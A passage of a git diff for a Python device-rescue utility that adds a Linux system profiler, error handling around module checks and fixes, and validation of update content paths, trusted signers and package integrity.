b/profiles/home_for_the_holidays.yaml @@ -8,6 +8,9 @@ description: > modules: include: - disk_space + - disk_smart_check + - malware_scan_indicators + - automatic_updates exclude: [] module_config: disk_space: diff --git a/pyproject.toml b/pyproject.toml index cb1434b..1495fb7 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -27,3 +27,6 @@ asyncio_mode = "auto" [tool.setuptools.packages.find] include = ["rescue*"] + +[tool.setuptools.package-data] +rescue = ["security/*.json", "tui/*.tcss"] diff --git a/rescue/cli.py b/rescue/cli.py index 15818a9..2e3bc59 100644 --- a/rescue/cli.py +++ b/rescue/cli.py @@ -12,18 +12,20 @@ from rescue.models import Mode, RiskLevel from rescue.orchestrator import Orchestrator from rescue.profiler.base import gather_profile -from rescue.profiles import discover_profiles +from rescue.profiles import ProfileValidationError, discover_profiles, validate_profile_modules from rescue.registry import discover_modules +from rescue.runtime import bundled_root, content_directory from rescue.security.integrity import ( DEFAULT_INTEGRITY_MANIFEST_PATH, IntegrityManifest, verify_package_integrity, ) -from rescue.security.signers import RevokedSignerStore +from rescue.security.signers import RevokedSignerStore, TrustConfigurationError from rescue.session import SessionStore from rescue.tui.app import run_tui from rescue.update.config import default_config from rescue.update.engine import UpdateEngine +from rescue.update.manifest import ManifestError from rescue.update.repo import GitError from rescue.update.sideload import SideloadError, load_sideload_repo @@ -41,9 +43,7 @@ def _project_root() -> Path: Outside of a frozen bundle (the normal `pip install`/source-checkout case), this is unchanged: two directories above this file. """ - if getattr(sys, "frozen", False): - return Path(sys._MEIPASS) - return Path(__file__).parent.parent + return bundled_root() def _get_modules_dir() -> Path: @@ -51,11 +51,11 @@ def _get_modules_dir() -> Path: def _get_profiles_dir() -> Path: - return _project_root() / "profiles" + return content_directory("profiles") def _get_guides_dir() -> Path: - return _project_root() / "guides" + return content_directory("guides") def _get_session_dir() -> Path: @@ -68,7 +68,13 @@ def _load_profile_or_exit(profile_name: str): click.echo(f"Unknown profile: {profile_name}", err=True) click.echo(f"Available: {', '.join(sorted(profiles.keys()))}", err=True) raise SystemExit(1) - return profiles[profile_name] + profile = profiles[profile_name] + try: + validate_profile_modules(profile, discover_modules(_get_modules_dir())) + except ProfileValidationError as exc: + click.echo(f"Invalid profile: {exc}", err=True) + raise SystemExit(1) from exc + return profile @click.group(invoke_without_command=True) @@ -158,15 +164,31 @@ def run(module_names, yes, copilot): checked = [] for mod in selected: - check = mod.check(profile) + try: + check = mod.check(profile) + except Exception as exc: + check = CheckResult(module_name=mod.name, error=str(exc)) checked.append((mod, check)) click.echo(mod.report(check)) + if check.error: + click.echo() + continue if check.has_issues and (yes or mod.risk_level == RiskLevel.SAFE): - fix = mod.fix(check, mode) + try: + fix = mod.fix(check, mode) + except Exception as exc: + click.echo(f"Fix unavailable: {exc}", err=True) + click.echo() + continue click.echo(mod.report(check, fix)) elif check.has_issues and not yes: if click.confirm(f"Apply fixes for {mod.name}?"): - fix = mod.fix(check, mode) + try: + fix = mod.fix(check, mode) + except Exception as exc: + click.echo(f"Fix unavailable: {exc}", err=True) + click.echo() + continue click.echo(mod.report(check, fix)) click.echo() @@ -250,14 +272,18 @@ def _run_auto(profile_name: str | None = None, copilot: bool = False): results = orch.run_auto() total_issues = sum(len(check.findings) for _, check, _ in results) - fixed = sum(1 for _, _, fix in results if fix is not None) + fixed = sum( + len(fix.applied_actions) + for _, _, fix in results + if fix is not None + ) click.echo("=" * 50) click.echo("Multiverse Device Rescue — Auto Mode") if profile: click.echo(f"Profile: {profile.display_name}") click.echo("=" * 50) - click.echo(f"\nScanned {len(results)} module(s), found {total_issues} issue(s), applied {fixed} fix(es).\n") + click.echo(f"\nScanned {len(results)} module(s), found {total_issues} issue(s), applied {fixed} automatic action(s).\n") for mod, check, fix in results: if check.has_issues: @@ -389,7 +415,7 @@ def update(check, dry_run, yes, sideload_path): else: engine = UpdateEngine(config) engine.refresh() - except (GitError, SideloadError) as exc: + except (GitError, SideloadError, TrustConfigurationError) as exc: click.echo(f"Update failed: {exc}", err=True) click.echo("Continuing with existing content.", err=True) raise SystemExit(1) @@ -424,7 +450,11 @@ def update(check, dry_run, yes, sideload_path): click.echo("Update cancelled.") return - applied = engine.apply(result, dry_run=False) + try: + applied = engine.apply(result, dry_run=False) + except ManifestError as exc: + click.echo(f"Update rejected: {exc}", err=True) + raise SystemExit(1) from exc click.echo(applied.message) diff --git a/rescue/models.py b/rescue/models.py index 6313174..22cde83 100644 --- a/rescue/models.py +++ b/rescue/models.py @@ -27,6 +27,11 @@ class Mode(str, Enum): CLI = "cli" +class ActionKind(str, Enum): + GUIDANCE = "guidance" + MUTATION = "mutation" + + @dataclass class DiskInfo: device: str @@ -76,6 +81,7 @@ class Finding: class CheckResult: module_name: str findings: list[Finding] = field(default_factory=list) + error: str | None = None @property def has_issues(self) -> bool: @@ -87,6 +93,8 @@ class Action: title: str description: str risk_level: RiskLevel + kind: ActionKind = ActionKind.GUIDANCE + executed: bool = False success: bool = False error: str | None = None data: dict[str, Any] = field(default_factory=dict) @@ -100,3 +108,7 @@ class FixResult: @property def all_succeeded(self) -> bool: return all(a.success for a in self.actions) + + @property + def applied_actions(self) -> list[Action]: + return [action for action in self.actions if action.executed] diff --git a/rescue/module_base.py b/rescue/module_base.py index b9c1efd..322cde9 100644 --- a/rescue/module_base.py +++ b/rescue/module_base.py @@ -2,6 +2,7 @@ from typing import Any from rescue.models import ( + ActionKind, CheckResult, FixResult, Mode, @@ -39,6 +40,9 @@ def configure(self, config: dict[str, Any]) -> None: def report(self, check: CheckResult, fix: FixResult | None = None) -> str: lines = [f"=== {self.name} ==="] + if check.error: + lines.append(f"Check unavailable: {check.error}") + return "\n".join(lines) if not check.has_issues: lines.append("No issues found.") return "\n".join(lines) @@ -48,6 +52,9 @@ def report(self, check: CheckResult, fix: FixResult | None = None) -> str: if fix: lines.append(f"\nActions taken: {len(fix.actions)}") for a in fix.actions: - status = "OK" if a.success else f"FAILED: {a.error}" + if a.kind == ActionKind.GUIDANCE: + status = "MANUAL ACTION REQUIRED" + else: + status = "OK" if a.success else f"FAILED: {a.error}" lines.append(f" {a.title}: {status}") return "\n".join(lines) diff --git a/rescue/orchestrator.py b/rescue/orchestrator.py index e7f7efb..b45719b 100644 --- a/rescue/orchestrator.py +++ b/rescue/orchestrator.py @@ -1,11 +1,14 @@ from pathlib import Path +import logging from rescue.models import CheckResult, FixResult, Mode, RiskLevel from rescue.module_base import ModuleBase from rescue.profiler.base import gather_profile -from rescue.profiles import Profile, filter_modules_by_profile +from rescue.profiles import Profile, filter_modules_by_profile, validate_profile_modules from rescue.registry import discover_modules, filter_by_platform, topological_sort +logger = logging.getLogger(__name__) + class Orchestrator: def __init__(self, modules_dir: Path, profile: Profile | None = None): @@ -15,18 +18,25 @@ def __init__(self, modules_dir: Path, profile: Profile | None = None): def run_checks(self) -> list[tuple[ModuleBase, CheckResult]]: profile = gather_profile() modules = discover_modules(self._modules_dir) - modules = filter_by_platform(modules, profile.platform) if self._profile is not None: + validate_profile_modules(self._profile, modules) + modules = filter_by_platform(modules, profile.platform) modules = filter_modules_by_profile(modules, self._profile) for mod in modules: mod.configure(self._profile.module_config.get(mod.name, {})) + else: + modules = filter_by_platform(modules, profile.platform) modules = topological_sort(modules) results = [] for mod in modules: - check = mod.check(profile) + try: + check = mod.check(profile) + except Exception as exc: + logger.exception("Module check failed: %s", mod.name) + check = CheckResult(module_name=mod.name, error=str(exc)) results.append((mod, check)) return results @@ -37,11 +47,18 @@ def run_fixes( ) -> list[tuple[ModuleBase, CheckResult, FixResult]]: results = [] for mod, check in check_results: - if not check.has_issues: + if check.error or not check.has_issues: continue if mode == Mode.AUTO and mod.risk_level != RiskLevel.SAFE: continue - fix = mod.fix(check, mode) + try: + fix = mod.fix(check, mode) + except Exception as exc: + logger.exception("Module fix failed: %s", mod.name) + fix = FixResult( + module_name=mod.name, + actions=[], + ) results.append((mod, check, fix)) return results diff --git a/rescue/profiler/base.py b/rescue/profiler/base.py index 09d9a88..1a7bed9 100644 --- a/rescue/profiler/base.py +++ b/rescue/profiler/base.py @@ -22,5 +22,6 @@ def gather_profile() -> SystemProfile: from rescue.profiler.windows import gather_windows_profile return gather_windows_profile() elif plat == Platform.LINUX: - raise NotImplementedError("Linux profiler not yet implemented") + from rescue.profiler.linux import gather_linux_profile + return gather_linux_profile() raise RuntimeError("Unsupported platform (should not be reached)") diff --git a/rescue/profiler/linux.py b/rescue/profiler/linux.py new file mode 100644 index 0000000..5074e7a --- /dev/null +++ b/rescue/profiler/linux.py @@ -0,0 +1,120 @@ +import os +import platform +import shutil +import socket +import subprocess +from pathlib import Path + +from rescue.models import DiskInfo, Platform, ProcessInfo, SystemProfile + + +def gather_linux_profile() -> SystemProfile: + return SystemProfile( + platform=Platform.LINUX, + os_name=_os_name(), + os_version=platform.release(), + architecture=platform.machine(), + cpu_model=_cpu_model(), + cpu_cores=os.cpu_count() or 0, + ram_bytes=_ram_bytes(), + disks=_disks(), + processes=_processes(), + hostname=socket.gethostname(), + ) + + +def _os_name() -> str: + path = Path("/etc/os-release") + try: + values = dict( + line.split("=", 1) + for line in path.read_text().splitlines() + if "=" in line + ) + return values.get("PRETTY_NAME", "Linux").strip('"') + except OSError: + return "Linux" + + +def _cpu_model() -> str: + try: + for line in Path("/proc/cpuinfo").read_text().splitlines(): + if line.lower().startswith("model name"): + return line.split(":", 1)[1].strip() + except OSError: + pass + return platform.processor() + + +def _ram_bytes() -> int: + try: + for line in Path("/proc/meminfo").read_text().splitlines(): + if line.startswith("MemTotal:"): + return int(line.split()[1]) * 1024 + except (OSError, ValueError, IndexError): + pass + return 0 + + +def _disks() -> list[DiskInfo]: + disks = [] + try: + mounts = Path("/proc/mounts").read_text().splitlines() + except OSError: + return disks + + seen_mounts: set[str] = set() + for entry in mounts: + fields = entry.split() + if len(fields) < 3: + continue + device, mount_point, filesystem = fields[:3] + if not device.startswith("/dev/") or mount_point in seen_mounts: + continue + try: + usage = shutil.disk_usage(mount_point) + except OSError: + continue + seen_mounts.add(mount_point) + disks.append( + DiskInfo( + device=device, + mount_point=mount_point, + total_bytes=usage.total, + used_bytes=usage.used, + free_bytes=usage.free, + filesystem=filesystem, + ) + ) + return disks + + +def _processes() -> list[ProcessInfo]: + try: + result = subprocess.run( + ["ps", "-eo", "pid=,comm=,%cpu=,rss=,args="], + capture_output=True, + text=True, + timeout=5, + ) + except (OSError, subprocess.SubprocessError): + return [] + + processes = [] + for line in result.stdout.splitlines(): + fields = line.split(None, 4) + if len(fields) != 5: + continue + try: + processes.append( + ProcessInfo( + pid=int(fields[0]), + name=fields[1], + cpu_percent=float(fields[2]), + memory_bytes=int(fields[3]) * 1024, + command=fields[4], + ) + ) + except ValueError: + continue + return processes diff --git a/rescue/profiles.py b/rescue/profiles.py index 79409c4..aebde90 100644 --- a/rescue/profiles.py +++ b/rescue/profiles.py @@ -18,6 +18,10 @@ class Profile: guides: list[str] = field(default_factory=list) +class ProfileValidationError(ValueError): + pass + + def load_profile(path: Path) -> Profile: with open(path, "r") as f: data = yaml.safe_load(f) or {} @@ -55,3 +59,17 @@ def filter_modules_by_profile( if profile.exclude_modules: result = [m for m in result if m.name not in profile.exclude_modules] return result + + +def validate_profile_modules(profile: Profile, modules: list[ModuleBase]) -> None: + available = {module.name for module in modules} + referenced = ( + set(profile.include_modules) + | set(profile.exclude_modules) + | set(profile.module_config) + ) + missing = sorted(referenced - available) + if missing: + raise ProfileValidationError( + f"Profile '{profile.name}' references unavailable module(s): {', '.join(missing)}" + ) diff --git a/rescue/runtime.py b/rescue/runtime.py new file mode 100644 index 0000000..3fc44a7 --- /dev/null +++ b/rescue/runtime.py @@ -0,0 +1,59 @@ +"""Resolve bundled, installed, and active content directories.""" + +from __future__ import annotations + +import os +import sys +import sysconfig +from pathlib import Path + + +ASSET_DIRECTORY_NAME = "multiverse-device-rescue" + + +def bundled_root() -> Path: + """Return the immutable root containing bundled module code and assets.""" + if getattr(sys, "frozen", False): + return Path(sys._MEIPASS) + + source_root = Path(__file__).parent.parent + if (source_root / "modules").is_dir(): + return source_root + + override = os.environ.get("RESCUE_ASSETS_DIR") + if override: + return Path(override) + + return Path(sysconfig.get_path("data")) / "share" / ASSET_DIRECTORY_NAME + + +def active_content_root() -> Path | None: + """Return the verified content checkout only after it has been applied.""" + override = os.environ.get("RESCUE_CONTENT_DIR") + root = Path(override) if override else Path.home() / ".local" / "share" / "rescue" / "content" + if not (root / ".git" / "rescue-applied-head").is_file(): + return None + if not (root / "manifest.json").is_file(): + return None + return root + + +def content_directory(name: str) -> Path: + """Prefer applied content for data-only directories, else use bundled assets.""" + active_root = active_content_root() + if active_root is not None: + candidate = active_root / name + if candidate.is_dir(): + return candidate + return bundled_root() / name + + +def content_file(relative_path: str | Path) -> Path: + """Resolve an updateable data file without allowing updated Python code.""" + relative = Path(relative_path) + active_root = active_content_root() + if active_root is not None: + candidate = active_root / relative + if candidate.is_file(): + return candidate + return bundled_root() / relative diff --git a/rescue/security/integrity.py b/rescue/security/integrity.py index acc6c29..69b01bb 100644 --- a/rescue/security/integrity.py +++ b/rescue/security/integrity.py @@ -76,7 +76,7 @@ def verify_package_integrity(package_root: Path, manifest: IntegrityManifest) -> added = sorted(set(current.files) - set(manifest.files)) return IntegrityCheckResult( - ok=not tampered and not missing, + ok=not tampered and not missing and not added, tampered=tampered, missing=missing, added=added, diff --git a/rescue/security/integrity_manifest.json b/rescue/security/integrity_manifest.json index 8525a9d..af55f2d 100644 --- a/rescue/security/integrity_manifest.json +++ b/rescue/security/integrity_manifest.json @@ -1,38 +1,51 @@ { "files": { "__init__.py": "2b0663bba65e6fb2c0fb8b9bf2f9076409e2f2313c69b301e656b75ba9e8ca92", - "cli.py": "c25b58fdcb40b7fb2ef63cee0b20dab889eefe563fc0464d66581e0cbdd69f26", + "ai/__init__.py": "dafebe7611a3de71e92157cba38a39a9deb51f39e4cf873b112445016fea40f6", + "ai/copilot.py": "657c5f72c0cf001797e04c6afa82919650114d55ead6e14aca88b8bd05c9c440", + "ai/explainer.py": "5f778d937a00265b3a6c15b91190ecbdc86bee8ec856bbb0457f4a0596b96c35", + "ai/factory.py": "e980abbf4daec7d284623c3d1e4c8f4cb1badd2e4e0d43129e826fae4b456ba3", + "ai/providers/__init__.py": "748088e179d2becb34db91d27923b9d22afba54f182aae95fe9162b4f9658368", + "ai/providers/anthropic_provider.py": "19ebd277c5467cf881a7ac314c4394a5de2efea1f37d0ebfa3ce8c7fb4a3d58e", + "ai/providers/base.py": "a8816ef42ec6c6dc131d323871571ddce0d4826aa35fec8dd745566ec8f76986", + "ai/providers/ollama_provider.py": "eb7bb8a3f9a54c359b964d448917bb6c42f7de10234044fbd17ba8044e9ed2bd", + "ai/providers/openai_provider.py": "8e53fc2a5aaf860aa6debe67d012327dc1f830a0fd32cf4c1b266172a384efcd", + "ai/recommender.py": "4427a4340f37eb8963f6f6656eaeb44647d01fc5b8a8f7b1ce1c7a0a85fd2d27", + "cli.py": "9780344f97916d90c71e3f71db7eea661ce14f936f53eb1c3ce2f8cf179b1dfe", "guides.py": "330aca3cbe5a6242706d4de0e656f1e0d377fd1c96c46c289d322c2b4e43db7a", - "models.py": "2993fe62a904d075ba9322ed91f58a021381adc67dea3fd9b5f97bb9f83d6e43", - "module_base.py": "51827e04a19c109868d63ef2bb0f1a266330ec20cbec107764a794b2d9c4b7aa", - "orchestrator.py": "371aa9536a25d10da98666f128638136af81fe1e4f04790e28c258987e4d87dd", + "models.py": "8b808183ce6742c1c410f35174021842a34d3e40c6911722eef02b37c395d397", + "module_base.py": "a23755a2c86fe09f504e83e8e6192cab14cff236c6fe5e5a3c52a3903cafd3fd", + "orchestrator.py": "c915cb3e31bfab5449a68a9325cafba4d269a7217fb9e96be847c958e72ba918", "profiler/__init__.py": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", - "profiler/base.py": "f3bd1a0879b9284b6bfa721972cb0cd6df423081951ec6fac43d4370d12a5966", + "profiler/base.py": "f546999d835d55e00fa496c8f3ef4b3113e73ee57227de7399aa584d60c9993e", "profiler/darwin.py": "12a31c44011f18c26393dd8493fc90bda3ebbb61e2e819358ac67e4cdba09c44", - "profiles.py": "85967bc88f35d02b7cd8241f81aafcfabfea1247377d3e97a861770979e2f318", + "profiler/linux.py": "b7d05aefc9d5b0e1b7d70d38fe7a92330152c3dd5b28cffb1216c609dcd65818", + "profiler/windows.py": "b3fdae0d8671b5a669c0af05f5a50f7ffb1b61520f45280f82e16a0f96c83d45", + "profiles.py": "4268b3e8595daf37970776e14e13790a3966fd55fc0caca01aa11d9dda3e939a", "registry.py": "df8f118c46f109754a2579a4fbda91ba7b28d0b189dc3db5f66620f8e2c3cebd", + "runtime.py": "1e7afa49e96cdd648cb4467f5d87387320a832eeda9d1b8fabc1d4d93df4f618", "security/__init__.py": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", - "security/integrity.py": "1057eb901875d653566dd95fbec00faa571b4dbc3670c6ba150a1fdd85a7aad0", - "security/signers.py": "c099e2716121b90b7a5487efae6931683c29973219f35b6b30131cc8ee9282ba", + "security/integrity.py": "e0d9cdc38fe6abf4c6c3ec046adb0e0e2c69f56f418ab94581c2b3f5e2edb7ad", + "security/signers.py": "61033baaa6d54dbd662e6d5b8fc4ba4b427a8fe062b72e9e38669a30088dbb07", "session.py": "57adc792b04eaa10a238bb9a3666feadcbb6c9760e6ddcd57bc99dc909ccf39a", "tui/__init__.py": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "tui/app.py": "e6ebd7ae8d46817f74cec2e21f13e325db2a5d5eed6e56c39be5e4b0a96a7531", - "tui/formatting.py": "a270d784a807c71a5e7d56cea86912b8a6ea7e31c99078ae8029b99afa690b00", + "tui/formatting.py": "ea0c36bff92747150910267b012dd002c4fccb15d122554d6bf4e6ddc810cd8d", "tui/screens/__init__.py": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "tui/screens/categories.py": "b9f6637b5a060abd7bb22ceb69d6408a8450bd122e884b6d0e1bb206cd039772", "tui/screens/confirm.py": "c501887b22a0e4741e7bd18060d2ecbee14b25adfe0455f6f7b454923b1da89f", - "tui/screens/findings.py": "e1765da6ded3ea6d38da2557bdb02ffc45253224b1b57ad33f84dc68ec37370e", + "tui/screens/findings.py": "049d64508df788942436fe7c80e983e17e754fd24f79ab6265564da637d46d71", "tui/screens/fix_progress.py": "0ce15a3c62edb0ae1b8a7efaf828b6b03da1e3a26ecf6c840ead9aa1055335f8", - "tui/screens/fix_result.py": "aefeaeb3827f2defaa2a5e3b6a49f11ece596ade8fb0d141158c0957e94dd6da", + "tui/screens/fix_result.py": "c5ac61c0bca228a7ef56e30db07aa93a264ebfe74eaff747159a7d9887335d01", "tui/screens/guide_placeholder.py": "0a35720a47609c8a6ca06a85b7dadc2e1482ac254905515eea9cdf3ab1195620", "tui/screens/loading.py": "ecc65b9f2a1f10278f8735eb86e326d154859f53bd15a1293c1b1df61dd000fc", "tui/screens/modules.py": "2ef0de9775970c16f04ae2f3c4f1a73034750f26d045c469338a8bfe40212919", "update/__init__.py": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "update/config.py": "209950d4b9342b8b19bb9cb2afe1439c31c35d3215dc79a42407eb17f8badcf0", - "update/engine.py": "3416441721fab6f1eece0273c04cbdef1b31e77a627269fabba6ec979cc68c4c", - "update/manifest.py": "927ede53bb50e1c04c74aec0b6c55860b69001fb76e67de5fd3eec1910cc1ac9", - "update/repo.py": "2b40adf47a6fc42c9d2e7ed9d06541750e1a4908048fba2bf65baaf6d2245446", + "update/engine.py": "c11c7023653adfd1e9d2d399243eb9872ffafe258dc954478da1965917bddef3", + "update/manifest.py": "78bb554819a911020633d3ee0fc54e118409f0d883a887e4f4fdbc5e45ebb2ad", + "update/repo.py": "800ac9461a025c3e49fc211f8cc8e3e6eed361e78cd98011b4db1348260edc90", "update/sideload.py": "cf94e79dbc85ebe604ce268f170d5ecc9d1ec082417b7dd6e9f42c57b6d9354e", "update/verify.py": "d902798e797833a54e550ca01a9d0961bfbf29614a2f831a412eed450b680f7a" } -} \ No newline at end of file +} diff --git a/rescue/security/signers.py b/rescue/security/signers.py index 537e6e4..e454dc8 100644 --- a/rescue/security/signers.py +++ b/rescue/security/signers.py @@ -37,6 +37,10 @@ def by_key_id(self, key_id: str) -> TrustedSigner | None: DEFAULT_TRUSTED_SIGNERS_PATH = Path(__file__).parent / "trusted_signers.json" +class TrustConfigurationError(ValueError): + pass + + def load_trusted_signers(path: Path) -> TrustedSignerSet: data = json.loads(path.read_text()) signers = [ @@ -52,6 +56,28 @@ def load_trusted_signers(path: Path) -> TrustedSignerSet: return TrustedSignerSet(signers=signers) +def validate_trusted_signers(signers: TrustedSignerSet, required_approvals: int) -> None: + if required_approvals < 1: + raise TrustConfigurationError("required approvals must be at least one") + if len(signers.signers) < required_approvals: + raise TrustConfigurationError( + f"configured {len(signers.signers)} trusted signers, but {required_approvals} are required" + ) + + signer_ids: set[str] = set() + key_ids: set[str] = set() + for signer in signers.signers: + values = (signer.signer_id, signer.key_id, signer.public_key) + if not signer.public_key or any(value.startswith("REPLACE_WITH_") for value in values): + raise TrustConfigurationError( + "trusted signer configuration contains placeholder or missing key material" + ) + if signer.signer_id in signer_ids or signer.key_id in key_ids: + raise TrustConfigurationError("trusted signer IDs and key IDs must be unique") + signer_ids.add(signer.signer_id) + key_ids.add(signer.key_id) + + class RevokedSignerStore: """Locally-persisted set of revoked signer IDs. Revocation is a local operator decision (see `rescue trust revoke` in the CLI), not a diff --git a/rescue/tui/formatting.py b/rescue/tui/formatting.py index cd1bb71..94c1dbe 100644 --- a/rescue/tui/formatting.py +++ b/rescue/tui/formatting.py @@ -43,6 +43,8 @@ def format_finding_line(finding: Finding) -> str: def format_module_summary(mod: ModuleBase, check: CheckResult) -> str: """One-line summary of a module's check result, for list rows.""" + if check.error: + return f"{mod.name} — [red]check unavailable[/red]" if not check.has_issues: return f"{mod.name} — no issues found" color = "yellow" diff --git a/rescue/tui/screens/findings.py b/rescue/tui/screens/findings.py index 8ba2375..13d1f21 100644 --- a/rescue/tui/screens/findings.py +++ b/rescue/tui/screens/findings.py @@ -23,7 +23,9 @@ def __init__(self, mod: ModuleBase, check: CheckResult): def compose(self) -> ComposeResult: yield Header() - if not self.check.has_issues: + if self.check.error: + yield Static(f"{self.mod.name}: check unavailable — {self.check.error}", id="findings-empty") + elif not self.check.has_issues: yield Static(f"{self.mod.name}: no issues found.", id="findings-empty") else: with VerticalScroll(id="findings-list"): diff --git a/rescue/tui/screens/fix_result.py b/rescue/tui/screens/fix_result.py index 4898f37..272d4e1 100644 --- a/rescue/tui/screens/fix_result.py +++ b/rescue/tui/screens/fix_result.py @@ -6,11 +6,13 @@ from textual.screen import Screen from textual.widgets import Button, Footer, Header, Static -from rescue.models import Action, CheckResult, FixResult +from rescue.models import Action, ActionKind, CheckResult, FixResult from rescue.module_base import ModuleBase def format_action_line(action: Action) -> str: + if action.kind == ActionKind.GUIDANCE: + return f"[yellow]MANUAL[/yellow] {action.title} — {action.description}" if action.success: return f"[green]OK[/green] {action.title} — {action.description}" return f"[red]FAILED[/red] {action.title} — {action.error or 'unknown error'}" @@ -30,7 +32,9 @@ def __init__(self, mod: ModuleBase, check: CheckResult, fix: FixResult): def compose(self) -> ComposeResult: yield Header() with VerticalScroll(id="fix-result-list"): - if self.fix.all_succeeded: + if not self.fix.applied_actions: + yield Static("No automatic changes were made. Review the manual actions below.", id="fix-result-summary") + elif self.fix.all_succeeded: yield Static(f"All {len(self.fix.actions)} action(s) succeeded.", id="fix-result-summary") else: yield Static("Some actions failed.", id="fix-result-summary") diff --git a/rescue/update/engine.py b/rescue/update/engine.py index 675e2fd..c89a5f4 100644 --- a/rescue/update/engine.py +++ b/rescue/update/engine.py @@ -14,9 +14,14 @@ from dataclasses import dataclass, field -from rescue.security.signers import RevokedSignerStore, TrustedSignerSet, load_trusted_signers +from rescue.security.signers import ( + RevokedSignerStore, + TrustedSignerSet, + load_trusted_signers, + validate_trusted_signers, +) from rescue.update.config import ContentRepoConfig -from rescue.update.manifest import ContentManifest, ManifestError +from rescue.update.manifest import ContentManifest, ManifestError, validate_content_paths from rescue.update.repo import CommitInfo, ContentRepo, GitError from rescue.update.verify import verify_commit_approval @@ -41,7 +46,10 @@ def __init__( ): self.config = config self.repo = repo or ContentRepo(config.local_path, config.remote_url) + loaded_default_signers = trusted_signers is None self.trusted_signers = trusted_signers or load_trusted_signers(config.trusted_signers_path) + if loaded_default_signers: + validate_trusted_signers(self.trusted_signers, config.required_approvals) if revoked_signer_ids is not None: self.revoked_signer_ids = revoked_signer_ids else: @@ -113,6 +121,7 @@ def apply(self, target: UpdateResult, dry_run: bool = False) -> UpdateResult: message=f"Would update to {target.new_commit[:12]} ({len(target.commits)} commit(s)).", ) + self._validate_content_commit(target.new_commit) self.repo.checkout(target.new_commit) return UpdateResult( status="applied", @@ -133,3 +142,18 @@ def _peek_content_version(self, commit_sha: str) -> str | None: return ContentManifest.from_json_bytes(data).content_version except (GitError, ManifestError): return None + + def _validate_content_commit(self, commit_sha: str) -> None: + try: + manifest = ContentManifest.from_json_bytes( + self.repo.read_file_at(commit_sha, "manifest.json") + ) + paths = self.repo.list_files_at(commit_sha) + except GitError as exc: + raise ManifestError(f"could not inspect content commit {commit_sha}: {exc}") from exc + + if "manifest.json" not in paths: + raise ManifestError("content commit is missing manifest.json") + validate_content_paths([path for path in paths if path != "manifest.json"]) + validate_content_paths([f"modules/{path}" for path in manifest.modules]) + validate_content_paths([f"guides/{path}" for path in manifest.guides]) diff --git a/rescue/update/manifest.py b/rescue/update/manifest.py index 830e9f9..cb3f2c2 100644 --- a/rescue/update/manifest.py +++ b/rescue/update/manifest.py @@ -17,6 +17,7 @@ import json from dataclasses import dataclass from pathlib import Path +from pathlib import PurePosixPath CONTENT_MANIFEST_FILENAME = "manifest.json" @@ -25,6 +26,27 @@ class ManifestError(Exception): """Raised when manifest.json is missing or malformed.""" +def validate_content_paths(paths: list[str]) -> None: + allowed_suffixes = {".json", ".md", ".toml", ".txt", ".yaml", ".yml"} + for raw_path in paths: + path = PurePosixPath(raw_path) + if ( + not raw_path + or path.is_absolute() + or ".." in path.parts + or raw_path == CONTENT_MANIFEST_FILENAME + ): + raise ManifestError(f"invalid content path: {raw_path!r}") + if path.parts[0] not in {"modules", "guides", "profiles"}: + raise ManifestError(f"content path is outside approved directories: {raw_path}") + if path.suffix not in allowed_suffixes: + raise ManifestError(f"content path has unsupported file type: {raw_path}") + if path.parts[0] == "guides" and path.suffix != ".md": + raise ManifestError(f"guide content must be Markdown: {raw_path}") + if path.parts[0] == "profiles" and path.suffix not in {".yaml", ".yml"}: + raise ManifestError(f"profile content must be YAML: {raw_path}") + + @dataclass(frozen=True) class ContentManifest: content_version: str diff --git a/rescue/update/repo.py b/rescue/update/repo.py index 780cf2e..9afa5ac 100644 --- a/rescue/update/repo.py +++ b/rescue/update/repo.py @@ -112,7 +112,14 @@ def checkout(self, ref: str) -> None: call this after verify_commit_approval() has approved `ref`.""" self._run_git(["checkout", "--detach", ref]) resolved = self._run_git(["rev-parse", ref]).stdout.strip() - self._applied_marker_path.write_text(resolved) + marker = self._applied_marker_path + temp_marker = marker.with_suffix(".tmp") + temp_marker.write_text(resolved) + os.replace(temp_marker, marker) + + def list_files_at(self, ref: str) -> list[str]: + result = self._run_git(["ls-tree", "-r", "--name-only", ref]) + return [line for line in result.stdout.splitlines() if line] def read_file_at(self, ref: str, rel_path: str) -> bytes: """Reads a file's contents straight out of the git object database diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..615e841 --- /dev/null +++ b/setup.py @@ -0,0 +1,33 @@ +from pathlib import Path + +from setuptools import setup + + +ROOT = Path(__file__).parent +ASSET_ROOT = "share/multiverse-device-rescue" + + +def runtime_assets() -> list[tuple[str, list[str]]]: + assets = [] + for source_root in (ROOT / "modules", ROOT / "profiles", ROOT / "guides"): + for directory, files in _files_by_directory(source_root).items(): + relative = directory.relative_to(ROOT) + assets.append( + ( + str(Path(ASSET_ROOT) / relative), + [path.relative_to(ROOT).as_posix() for path in files], + ) + ) + return assets + + +def _files_by_directory(source_root: Path) -> dict[Path, list[Path]]: + grouped: dict[Path, list[Path]] = {} + for path in sorted(source_root.rglob("*")): + if not path.is_file() or "__pycache__" in path.parts: + continue + grouped.setdefault(path.parent, []).append(path) + return grouped + + +setup(data_files=runtime_assets()) diff --git a/tests/security/test_integrity.py b/tests/security/test_integrity.py index ffe2436..47e3dd7 100644 --- a/tests/security/test_integrity.py +++ b/tests/security/test_integrity.py @@ -65,7 +65,7 @@ def test_verify_package_integrity_detects_missing_file(tmp_path): assert result.missing == ["profiler/base.py"] -def test_verify_package_integrity_reports_added_files_without_failing(tmp_path): +def test_verify_package_integrity_rejects_added_files(tmp_path): pkg = _make_package(tmp_path) manifest = compute_package_manifest(pkg) @@ -73,7 +73,7 @@ def test_verify_package_integrity_reports_added_files_without_failing(tmp_path): result = verify_package_integrity(pkg, manifest) - assert result.ok # added-only is not itself a failure, just reported + assert not result.ok assert result.added == ["new_module.py"] diff --git a/tests/test_module_base.py b/tests/test_module_base.py index dba21b8..dbd664d 100644 --- a/tests/test_module_base.py +++ b/tests/test_module_base.py @@ -1,6 +1,6 @@ from rescue.models import ( SystemProfile, Platform, CheckResult, FixResult, Finding, - Action, Severity, RiskLevel, Mode, + Action, ActionKind, Severity, RiskLevel, Mode, ) from rescue.module_base import ModuleBase @@ -35,6 +35,8 @@ def fix(self, findings, mode): title="Fixed it", 